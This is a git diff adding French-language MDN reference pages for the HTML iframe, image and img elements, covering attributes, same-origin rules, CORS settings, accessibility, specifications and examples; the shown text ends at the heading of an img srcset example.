+ <dd>Cet attribut est uniquement disponible pour les <a href="/fr/docs/MDN/Doc_status/Addons/WebExtensions">WebExtensions</a>. L'<em>iframe</em> se comporte comme une fenêtre de navigateur de plus haut niveau. Voir {{bug(1318532)}} quant à l'exposition de cet attribut dans Firefox.</dd>
+</dl>
+
+<h2 id="iframe_et_scripts">iframe et scripts</h2>
+
+<p>Les <code>iframes</code>, tels que les {{HTMLElement("frame")}}, font partie du pseudo-tableau {{domxref("window.frames")}}.</p>
+
+<p>En utilisant l'élément <code>iframe</code> du DOM, les scripts peuvent accéder à l'objet {{domxref("window")}} de la page HTML incluse par la propriété <code>contentWindow</code>. La propriété <code>contentDocument</code> fait référence au document contenu dans l'<code>iframe</code> (l'équivalent de  <code>contentWindow.document</code>) mais n'est pas prise en charge par Internet Explorer avant IE8.</p>
+
+<p>Depuis l'<em>iframe</em>, un script peut obtenir une référence à la fenêtre parente via la propriété {{domxref("window.parent")}}.</p>
+
+<p>Les scripts qui tentent d'accéder au contenu de l'<em>iframe</em> doivent respecter <a href="/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">les règles de même origine</a> et ne peuvent pas accéder à la plupart des propriétés d'une autre fenêtre s'ils ont été chargés depuis un domaine différent. Cela s'applique également aux scripts d'un <em>iframe</em> qui souhaitent accéder au contexte englobant. On peut toutefois communiquer entre différents domaines grâce à la méthode {{domxref("Window.postMessage()")}}.</p>
+
+<h2 id="Positionnement_et_redimensionnement">Positionnement et redimensionnement</h2>
+
+<p>En tant qu'élément remplacé, la position, l'alignement et le redimensionnement du document embarqué via <code>&lt;iframe&gt;</code> peuvent être ajustés via les propriétés {{cssxref("object-position")}} et {{cssxref("object-fit")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Un_&lt;iframe>_simple">Un <code>&lt;iframe&gt;</code> simple</h3>
+
+<p>Voici un exemple simple où, lorsque l'utilisateur clique sur le bouton, le titre est affiché dans une fenêtre contextuelle.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<div id="htmlOutputWrapper">
+<pre class="brush: html notranslate">&lt;iframe title="exemple 1 avec iframe" src="https://mdn-samples.mozilla.org/snippets/html/iframe-simple-contents.html" width="400" height="300"&gt;
+&lt;/iframe&gt;</pre>
+</div>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Une_&lt;iframe&gt;_simple', 640, 400)}}</p>
+
+<h3 id="Ouvrir_un_lien_dans_un_&lt;iframe>_dans_un_autre_onglet">Ouvrir un lien dans un <code>&lt;iframe&gt;</code> dans un autre onglet</h3>
+
+<p>Dans cet exemple,  une carte Google est affichée dans un cadre.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;base target="_blank"&gt;
+&lt;iframe id="Example2"
+    title="Example2"
+    width="400" height="300"
+    style="border: none"
+    src="https://maps.google.com/maps?f=q&amp;amp;source=s_q&amp;amp;hl=es-419&amp;amp;geocode=&amp;amp;q=buenos+aires&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=38.638819,80.859375&amp;amp;t=h&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Buenos+Aires,+Argentina&amp;amp;z=11&amp;amp;ll=-34.603723,-58.381593&amp;amp;output=embed"&gt;
+&lt;/iframe&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Ouvrir_un_lien_d'une_&lt;iframe&gt;_dans_un_onglet", 640, 400)}}</p>
+
+<p><a href="https://jsfiddle.net/pablofiumara/mCfAe/">Exemple réel</a></p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les personnes qui utilisent des outils d'assistance tels que des lecteurs d'écran peut utiliser l'attribut {{HTMLattrxref("title")}} pour obtenir la description du contenu embarqué par l'<code>iframe</code>. La valeur du titre doit décrire, de façon claire et concise, le contenu embarqué.</p>
+
+<pre class="brush: html notranslate">&lt;iframe title="La page Wikipédia consacrée à Robert Louis Stevenson" src="https://fr.wikipedia.org/wiki/Robert_Louis_Stevenson"&gt;&lt;/iframe&gt;</pre>
+
+<p>Sans cette description, les utilisateurs peuvent devoir naviguer à l'intérieur de l'<code>iframe</code> et parcourir le contenu afin de comprendre de quoi il s'agit. Le changement de contexte peut être source de confusion et demander un temps de réflexion, notamment pour les pages qui contiennent plusieurs <code>iframe</code> et/ou du contenu interactif tel que des vidéos ou de la musique.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras%C3%A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_int%C3%A9gr%C3%A9">contenu intégré</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_interactif">contenu interactif</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Le contenu alternatif, qui sera affiché par les navigateurs qui ne prennent pas en charge cet élément.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balise</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du contenu intégré.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLIFrameElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrerpolicy attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Ajout de l'attribut <code>referrerpolicy</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'iframe-embed-object.html#the-iframe-element', '&lt;iframe&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-iframe-element', '&lt;iframe&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/frames.html#h-16.5', '&lt;iframe&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Screen Orientation')}}</td>
+   <td>{{Spec2('Screen Orientation')}}</td>
+   <td>Ajout du mot-clé <code>allow-orientation-lock</code> pour l'attribut <code>sandbox</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Presentation','#sandboxing-and-the-allow-presentation-keyword','allow-presentation')}}</td>
+   <td>{{Spec2('Presentation')}}</td>
+   <td>Ajout du mot-clé <code>allow-presentation</code> pour l'attribut <code>sandbox</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.iframe",3)}}</p>
diff --git a/files/fr/web/html/element/image/index.html b/files/fr/web/html/element/image/index.html
new file mode 100644
index 0000000000..909d5f05e0
--- /dev/null
+++ b/files/fr/web/html/element/image/index.html
@@ -0,0 +1,39 @@
+---
+title: <image>
+slug: Web/HTML/Element/image
+tags:
+  - Element
+  - HTML
+  - Non-standard
+  - Obsolete
+  - Reference
+translation_of: Web/HTML/Element/image
+---
+<div>{{HTMLRef}}{{obsolete_header}}{{non-standard_header}}</div>
+
+<p>L'élément HTML <strong><code>&lt;image&gt;</code></strong> est un élément obsolète, remplacé depuis longtemps par l'élément standard {{HTMLElement("img")}}.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Si vous souhaitez afficher des images, c'est l'élément {{HTMLElement("img")}} qui doit être utilisé.</p>
+</div>
+
+<p>Bien que les navigateurs essaient de convertir cet élément {{HTMLElement("img")}}, cela peut avoir des résultats incertains voire inattendus.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cet élément ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>La plupart du temps, les navigateurs essaieront de convertir cet élément en un élément <code>&lt;img&gt;</code> si l'attribut {{htmlattrxref("src", "img")}} est utilisé. Créer un élément <code>&lt;image&gt;</code> sans attribut entraînera la création d'un objet <code>HTMLElement</code> avec le nom "image". Si l'élément est créé avec un attribut <code>src</code>, ce sera un objet <code>HTMLImageElement</code> qui sera créé et son nom sera "img".</p>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.image")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément {{HTMLElement("img")}} qui doit être utilisé afin d'afficher une image dans un document.</li>
+ <li>L'élément {{HTMLElement("picture")}} qui permet de sélectionner parmi plusieurs images en fonction de requête média afin d'avoir des images <em>responsive</em>.</li>
+</ul>
diff --git a/files/fr/web/html/element/img/index.html b/files/fr/web/html/element/img/index.html
new file mode 100644
index 0000000000..5f992aa816
--- /dev/null
+++ b/files/fr/web/html/element/img/index.html
@@ -0,0 +1,379 @@
+---
+title: '<img> : l''élément d''image embarquée'
+slug: Web/HTML/Element/Img
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/img
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;img&gt;</code></strong> permet de représenter une image dans un document. Cet élément est un <a href="/fr/docs/Web/CSS/%C3%89l%C3%A9ment_remplac%C3%A9">élément remplacé</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/img.html", "tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<p>Dans l'exemple qui précède, on utilise l'élément <code>&lt;img&gt;</code> simplement. L'attribut <code>src</code> est obligatoire et contient le chemin de l'image qu'on souhaite afficher. L'attribut <code>alt</code> n'est pas obligatoire mais recommandé et contient une description textuelle de l'image ; il est recommandé pour des raisons d'accessibilité et sera utilisé par les lecteurs d'écran ou sera affiché si l'image ne peut pas être chargée.</p>
+
+<p>Il existe d'autres attributs qui peuvent être utilisés dans différents cas. Ces attributs sont détaillés ci-après. Entre autres, on pourra utiliser :</p>
+
+<ul>
+ <li>Les attributs <code>crossorigin</code> et <code>referrerpolicy</code> pour le contrôle sur le référent et la politique <a href="/fr/docs/Web/HTTP/CORS">CORS</a></li>
+ <li>Les attributs <code>width</code> et <code>height</code> afin d'indiquer les dimensions intrinsèques de l'image pour s'assurer qu'elle occupe un espace stable, y compris lors du chargement</li>
+ <li>Les attributs <code>sizes</code> et <code>srcset</code> qui permettent de gérer des images <em>responsives</em> (à ce sujet, voir également l'élément {{HTMLElement("picture")}} et <a href="/fr/docs/Apprendre/HTML/Comment/Ajouter_des_images_adaptatives_à_une_page_web">notre tutoriel sur les images <em>responsives</em></a>).</li>
+</ul>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>À l'instar de tous les autres éléments, l'élément <code>&lt;img&gt;</code> prend en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>Cet attribut définit le texte alternatif utilisé lorsqu'il est impossible d'afficher l'image (par exemple si l'URL est incorecte ou si l'image n'est pas encore téléchargée).
+ <div class="note">
+ <p><strong>Note :</strong> Les navigateurs peuvent ne pas toujours afficher l'image référencée par l'élément. C'est notamment le cas des navigateurs non-graphiques (utilisés par les personnes visuellement handicapées), lorsque l'utilisateur choisit de ne pas afficher les images ou lorsque le navigateur ne peut pas afficher l'image car elle est invalide ou que son format n'est pas pris en charge. Dans ces cas de figure, le navigateur pourra remplacer l'image avec le texte utilisé pour l'attribut <code>alt</code> de l'élément <code>img</code>. Pour toutes ces raisons, il est fortement conseillé de fournir une valeur pertinente pour <code>alt</code> lorsque c'est possible.</p>
+
+ <p><strong>Note : </strong>Si cet attribut est absent, cela indique que l'image joue un rôle important dans le contenu mais qu'aucun équivalent textuel n'est disponible. Si cet attribut contient une chaîne de caractères vide (<code>alt=""</code>), cela indique que l'image ne joue pas de rôle important dans la compréhension du contenu ce qui permet aux navigateurs non-graphiques de ne pas traiter l'image en question.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("crossorigin")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Cet attribut à valeur contrainte indique si la récupération de l'image peut être effectuée via d'autres origines (<em>CORS</em>). Les images pour lesquelles le <a href="/fr/docs/Web/HTML/Images_avec_le_contrôle_d_accès_HTTP">CORS a été activé</a> peuvent être réutilisées dans un élément {{HTMLElement("canvas")}} sans le <a href="/fr/docs/Web/HTML/Images_avec_le_contrôle_d_accès_HTTP#Qu'est-ce_qu'un_canevas_«_corrompu_»">corrompre</a>. Les valeurs autorisées pour cet attribut sont :</dd>
+ <dd>
+ <dl>
+  <dt><code>anonymous</code></dt>
+  <dd>Une requête entre deux origines est effectuée (avec l'en-tête {{httpheader("Origin")}}) mais aucune information d'authentification n'est transmise (aucun cookie, aucun certificat X.5090, aucune authentification simple par HTTP). Si le serveur ne fournit pas  d'informations d'authentification pour le site d'origine (en n'utilisant pas l'en-tête HTTP {{httpheader("Access-Control-Allow-Origin")}}), l'image sera corrompue et son utilisation sera restreinte.</dd>
+  <dt><code>use-credentials</code></dt>
+  <dd>Une requête entre deux origines est effectuée (avec l'en-tête {{httpheader("Origin")}}) avec des informations d'authentification qui sont envoyées (par exemple un cookie, un certificat et une authentification HTTP). Si le serveur ne fournit pas d'informations d'authentification au site d'origine (via l'en-tête HTTP {{httpheader("Access-Control-Allow-Origin")}}), l'image sera corrompue et son utilisation sera restreinte.</dd>
+ </dl>
+ Lorsque cet attribut est absent, la ressource est récupérée sans requête <em>CORS</em> (c'est-à-dire sans envoyer l'en-tête HTTP {{httpheader("origin")}}) ce qui empêche de l'utiliser dans un {{HTMLElement('canvas')}} sans qu'elle soit considérée comme corrompue. Si la valeur de l'attribut est invalide, elle sera considérée comme <code><strong>anonymous</strong></code>. Voir la page <a href="/fr/docs/Web/HTML/Reglages_des_attributs_CORS">réglage des attributs CORS</a> pour plus d'informations.</dd>
+ <dt>{{htmlattrdef("decoding")}}</dt>
+ <dd>
+ <p>Cet attribut fournit une indication à l'agent utilisateur pour le décodage de l'information. Les valeurs possibles sont :</p>
+ </dd>
+ <dd>
+ <dl>
+  <dt><code>sync</code></dt>
+  <dd>L'image est décodée de façon synchrone afin d'être présentée de façon atomique avec le reste du contenu.</dd>
+  <dt><code>async</code></dt>
+  <dd>L'image est décodée de façon asynchrone afin de réduire le temps nécessaire à la présentation du reste du contenu.</dd>
+  <dt><code>auto</code></dt>
+  <dd>Le mode par défaut qui indique l'absence de préférence pour le mode de décodage. Dans ce cas, l'agent utilisateur décide de la meilleure stratégie.</dd>
+ </dl>
+ </dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>La hauteur intrinsèque de l'image exprimée en pixels (en {{HTMLVersionInline(4)}}, cette valeur pouvait être exprimée en pourcentages).</dd>
+ <dt id="name-attribute">{{htmlattrdef("importance")}} {{experimental_inline}}</dt>
+ <dd>Cet attribut indique l'importance relative de la ressource. Les indicateurs de priorité sont exprimés avec les valeurs suivantes :</dd>
+ <dd>
+ <p><code>auto</code> : aucune préférence particulière, le navigateur peut utiliser sa propre heuristique afin de décider la priorité de l'image.</p>
+
+ <p><code>high</code> : cette valeur indique au navigateur que l'image a une priorité élevée.</p>
+
+ <p><code>low</code> : cette valeur indique au navigateur que l'image a une priorité faible.</p>
+ </dd>
+ <dt>{{htmlattrdef("intrinsicsize")}} {{experimental_inline}}</dt>
+ <dd>Cet attribut indique au navigateur d'ignorer la taille intrinsèque réelle de l'image et d'utiliser la taille fournie par les attributs. La matrice contenant l'image aurait donc ces dimensions et calculer <code>naturalWidth</code>/<code>naturalHeight</code> sur de telles images renverrait les valeurs de cet attribut.. <a href="https://github.com/ojanvafai/intrinsicsize-attribute">Explications</a>, <a href="https://googlechrome.github.io/samples/intrinsic-size/index.html">exemples</a>.</dd>
+ <dt>{{htmlattrdef("ismap")}}</dt>
+ <dd>Un attribut booléen dont la valeur indique si l'image fait partie d'une carte cliquable. Si c'est le cas, les coordonnées du clic seront envoyées au serveur.
+ <div class="note">
+ <p><strong>Note : </strong>Cet attribut est uniquement autorisé si l'élément <code>&lt;img&gt;</code> descend d'un élément {{htmlelement("a")}} dont l'attribut {{htmlattrxref("href","a")}} est valide.</p>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("loading")}}</dt>
+ <dd>
+ <p>Indique comment le navigateur doit charger l'image :</p>
+
+ <ul>
+  <li><code>eager</code> : Charge l'image immédiatement, que l'image se trouve ou non dans le viewport visible (c'est la valeur par défaut).</li>
+  <li><code>lazy</code> : Diffère le chargement de l'image au moment où elle atteint une certaine distance de la fenêtre de visualisation, telle que définie par le navigateur. Le but est d'éviter que le réseau et la zone de stockage nécessaires à la manipulation de l'image ne soient utilisés tant qu'il n'est pas relativement sûr que celle-ci sera nécessaire. Cela permet généralement d'améliorer les performances du contenu dans la plupart des cas d'utilisation typiques.</li>
+ </ul>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>Une chaîne de caractères indiquant le référent à utiliser lors de la récupération de la ressource :
+ <ul>
+  <li><code>no-referrer</code> : l'en-tête HTTP {{httpheader("Referer")}} ne sera pas envoyé.</li>
+  <li><code>no-referrer-when-downgrade</code> : aucun en-tête HTTP {{httpheader("Referer")}} n'est envoyé lorsqu'on navigue vers une origine sans TLS (HTTPS). Cette valeur est le comportement par défaut de l'agent utilisateur si aucune valeur n'est fournie.</li>
+  <li><code>origin</code> : l'en-tête HTTP {{httpheader("Referer")}} contiendra le schém, l'hôte et le port de la page d'origine.</li>
+  <li><code>origin-when-cross-origin</code> : lorsque la navigation se fait vers d'autres origines, les données du référent se limiteront au schéma, à l'hôte et au part. Si on navigue sur la même origine, le chemin complet de la ressource sera indiquée.</li>
+  <li><code>unsafe-url</code> : l'en-tête HTTP {{httpheader("Referer")}} incluera l'origine et le chemin mais aucun fragment, mot de passe ou nom d'utilisateur. Ce cas de figure n'est pas sécurisé car il peut laisser fuire des origines et des chemins de ressources protégées par TLS vers des origines non-sécurisées.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("sizes")}}{{HTMLVersionInline(5)}}</dt>
+ <dd>Une liste de une ou plusieurs chaînes de caractères séparées par des virgules qui indique chacune une condition de taille. Chaque condition de taille (<em>source size</em>) se compose :
+ <ol>
+  <li>D'une condition sur le média (qui doit être absente pour le dernier élément de la liste).</li>
+  <li>D'une valeur</li>
+ </ol>
+
+ <p>Les valeurs des conditions de taille définissent la taille voulue pour l'affichage de l'image. Les agents utilisateurs utilisent la taille courante afin de choisir une des images sources parmi l'attribut <code>srcset</code> lorsque ces sources sont décrites avec un descripteur de largeur ('<code>w</code>'). La condition de taille choisie a un impact sur la taille intrinsèque de l'image (c'est-à-dire la taille de l'image affichée si aucune mise en forme CSS n'est appliquée). Si l'attribut <code>srcset</code> est absent ou ne contient aucune valeur qui soit un descripteur de largeur, l'attribut <code>sizes</code> n'aura aucun effet.</p>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>L'URL de l'image. Cet attribut est obligatoire pour l'élément <code>&lt;img&gt;</code>. Pour les navigateurs qui prennent en charge <code>srcset</code>, <code>src</code> est considéré comme une image candidate dont la densité de pixel vaut <code>1x</code> si aucune autre image avec cette densité n'est définie via <code>srcset</code> ou si <code>srcset</code> contient des descripteurs '<code>w</code>'.</dd>
+ <dt>{{htmlattrdef("srcset")}}{{HTMLVersionInline(5)}}</dt>
+ <dd>Une liste de une ou plusieurs chaînes de caractères, séparées par des virgules, qui indiquent un ensemble d'images sources parmi lequel l'agent utilisateur pourra choisir la meilleure image à afficher. Chaque chaîne de caractères se compose :
+ <ol>
+  <li>D'une URL vers une image,</li>
+  <li>Éventuellement d'un espace suivi :
+   <ul>
+    <li>D'un descripteur de largeur ou un entier positif directement suivi par '<code>w</code>'. Le descripteur de largeur est divisé par la taille de la condition de taille définie dans l'attribut <code>sizes</code> afin de calculer la densité de pixel réelle.</li>
+    <li>D'un descripteur de densité de pixel qui est un nombre décimal directement suivi par '<code>x</code>'.</li>
+   </ul>
+  </li>
+ </ol>
+
+ <p>Si aucun descripteur n'est utilisé, la source aura un descripteur par défaut qui vaut <code>1x</code>.</p>
+
+ <p>Au sein d'un même attribut <code>srcset</code>, on ne peut pas mélanger des descripteurs exprimés en densité de pixels et des descripteurs exprimés en largeur. Il est également invalide d'avoir deux sources pour lesquelles le descripteur est le même (par exemple, deux sources décrites par '<code>2x</code>').</p>
+
+ <p>L'agent utilisateur sélectionne au choix une des images parmi celles disponibles. Cette liberté lui permet éventuellement de prendre en compte le débit de la connexion ou les choix de l'utilisateur lors du téléchargement des images.</p>
+ </dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>La largeur intrinsèque de l'image, exprimée en pixels. En {{HTMLVersionInline(4)}}, la valeur pouvait être exprimée en pourcentages ou en pixels. Avec {{HTMLVersionInline(5)}}, seules les valeurs exprimées en pixels sont acceptées.</dd>
+ <dt>{{htmlattrdef("usemap")}}</dt>
+ <dd>Le fragment d'URL (commençant avec #) d'une <a href="/fr/docs/Web/HTML/Element/map">carte d'images</a> associée à cet élément.
+ <div class="note">
+ <p><strong>Note :</strong> Cet attribut ne peut pas être utilisé si l'élément <code>&lt;img&gt;</code> est un descendant d'un élément {{htmlelement("a")}} ou d'un élément {{HTMLElement("button")}}.</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Attributs_obsolètes">Attributs obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}}</dt>
+ <dd>L'alignement de l'image selon le contexte qui l'entoure. En HTML5, on privilégiera les propriétés CSS {{cssxref('float')}} et/ou {{cssxref('vertical-align')}} voire la propriété  {{cssxref("object-position")}} qui permet de positionner l'image au sein de la boîte de l'élément. Les valeurs autorisées sont :</dd>
+ <dd>
+ <dl>
+  <dt><code>top</code></dt>
+  <dd>Équivalent à <code style="white-space: nowrap;">vertical-align: top;</code> ou à <code style="white-space: nowrap;">vertical-align: text-top;</code></dd>
+  <dt><code>middle</code></dt>
+  <dd>Équivalent à <code style="white-space: nowrap;">vertical-align: -moz-middle-with-baseline;</code></dd>
+  <dt><code>bottom</code></dt>
+  <dd>La valeur utilisée par défaut. Équivalent à <code style="white-space: nowrap;">vertical-align: unset;</code> ou à <code style="white-space: nowrap;">vertical-align: initial;</code></dd>
+  <dt><code>left</code></dt>
+  <dd>Équivalent à <code style="white-space: nowrap;">float: left;</code></dd>
+  <dt><code>right</code></dt>
+  <dd>Équivalent à <code style="white-space: nowrap;">float: right;</code></dd>
+ </dl>
+ </dd>
+ <dt>{{htmlattrdef("border")}}</dt>
+ <dd>La largeur de la bordure qui entoure l'image. En HTML5, on privilégiera la propriété CSS {{cssxref('border')}}.</dd>
+ <dt>{{htmlattrdef("hspace")}}</dt>
+ <dd>Le nombre de pixels blancs à insérer à droite et à gauche de l'image. En HTML5, on privilégiera la propriété CSS {{cssxref('margin')}}.</dd>
+ <dt>{{htmlattrdef("longdesc")}}</dt>
+ <dd>Un lien vers une description plus détaillée de l'image. Les valeurs possibles sont une URL ou un identifiant ({{htmlattrxref("id")}}) d'un élément.
+ <div class="note">
+ <p><strong>Note :</strong> Cet attribut est obsolète depuis <a href="https://www.w3.org/TR/html50/obsolete.html#dom-img-longdesc">HTML 5.0</a>. Il est également mentionné dans les dernières versions W3C <a href="https://www.w3.org/TR/html52/obsolete.html#element-attrdef-img-longdesc">HTML 5.2</a> mais a été retiré du <a href="https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element">standard WHATWG</a>.</p>
+
+ <p>Les auteurs ne devraient plus utiliser cet attribut mais employer des alternatives WAI-ARIA comme <a href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby"><code>aria-describedby</code></a> ou <a href="https://www.w3.org/TR/wai-aria-1.1/#aria-details"><code>aria-details</code></a>.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Un nom à donner à cet élément. Cet attribut est pris en charge en {{HTMLVersionInline(4)}} uniquement à des fins de rétrocompatibilité. Il faut utiliser l'attribut <code>id</code> à la place.</dd>
+ <dt>{{htmlattrdef("vspace")}}</dt>
+ <dd>Le nombre de pixels blancs à insérer en dessous et au dessus de l'image. En HTML5, on privilégiera la propriété CSS {{cssxref('margin')}}.</dd>
+</dl>
+
+<h2 id="Formats_dimage_pris_en_charge">Formats d'image pris en charge</h2>
+
+<p>The HTML standard doesn't give a list of image formats that must be supported, so each {{glossary("user agent")}} supports a different set of formats.</p>
+
+<p>Le standard HTML ne fournit pas de liste exhaustive des formats que doit prendre en charge un agent utilisateur et chaque agent utilisateur couvre différents formats. Un <a href="/fr/docs/Web/Media/Formats/Types_des_images">guide à propos des formats d'image pris en charge par les navigateurs web</a> est disponible.</p>
+
+<p>{{page("/fr/docs/Web/Media/Formats/Types_des_images", "table-of-image-file-types")}}</p>
+
+<h2 id="Interactions_avec_CSS">Interactions avec CSS</h2>
+
+<p>Pour CSS, <code>&lt;img&gt;</code> est <a href="/fr/docs/Web/CSS/Élément_remplacé">un élément remplacé</a>. Il n'a pas de ligne de base ; aussi, lorsque les images sont utilisées dans un contexte en ligne avec {{cssxref("vertical-align")}}<code>: baseline</code>, c'est le bas de l'image qui est placé sur la ligne de base du conteneur.</p>
+
+<p>On peut utiliser la propriété {{cssxref("object-position")}} afin de positionner l'image dans la boîte de l'élément et la propriété {{cssxref("object-fit")}} afin d'ajuster les dimensions de l'image dans la boîte (on choisit par exemple si l'image doit s'inscrire entièrement dans la boîte ou s'il est préférable de la rogner).</p>
+
+<p>Selon son type, une image peut avoir une largeur et une hauteur intrinsèques. Pour d'autres types de fichier cependant, ces dimensions intrinsèques ne sont pas nécessaires (les images SVG, par exemple, ne possèdent pas de dimensions intrinsèques).</p>
+
+<h2 id="Erreurs">Erreurs</h2>
+
+<p>Si une erreur se produit lors du chargement ou de l'affichage de l'image et qu'un gestionnaire d'événement {{htmlattrxref("onerror")}} a été paramétré afin d'écouter l'événement {{event("error")}}, le gestionnaire d'événement sera invoqué. Cela peut se produire lorsque :</p>
+
+<ul>
+ <li>L'attribut {{htmlattrxref("src", "img")}} est vide ou vaut <code>null</code>.</li>
+ <li>L'URL indiquée dans l'attribut <code>src</code> est la même URL que celle de la page sur laquelle se trouve l'utilisateur.</li>
+ <li>L'image indiquée est corrompue et ne peut pas être chargée.</li>
+ <li>Les métadonnées de l'images sont corrompues et il est impossible de récupérer ses dimensions et aucune dimension n'est indiquée dans les attributs de l'élément <code>&lt;img&gt;</code>.</li>
+ <li>Le format de l'image n'est pas pris en charge par l'agent utilisateur.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_un_texte_alternatif">Définir un texte alternatif</h3>
+
+<pre class="brush: html">&lt;img src="https://developer.mozilla.org/static/img/favicon144.png"
+     alt="Le logo de MDN avec une silhouette de tête de dinosaure."&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Définir_un_texte_alternatif', '100%', '160') }}</p>
+
+<h3 id="Créer_un_lien_avec_une_image">Créer un lien avec une image</h3>
+
+<pre class="brush: html">&lt;a href="https://developer.mozilla.org/"&gt;
+  &lt;img src="https://developer.mozilla.org/static/img/favicon144.png"
+       alt="Visiter le site MDN"&gt;
+&lt;/a&gt;</pre>
+
+<p>{{ EmbedLiveSample('Créer_un_lien_avec_une_image', '100%', '160') }}</p>
+
+<h3 id="Utiliser_les_attributs_srcset_et_sizes">Utiliser les attributs <code>srcset</code> et <code>sizes</code></h3>
+
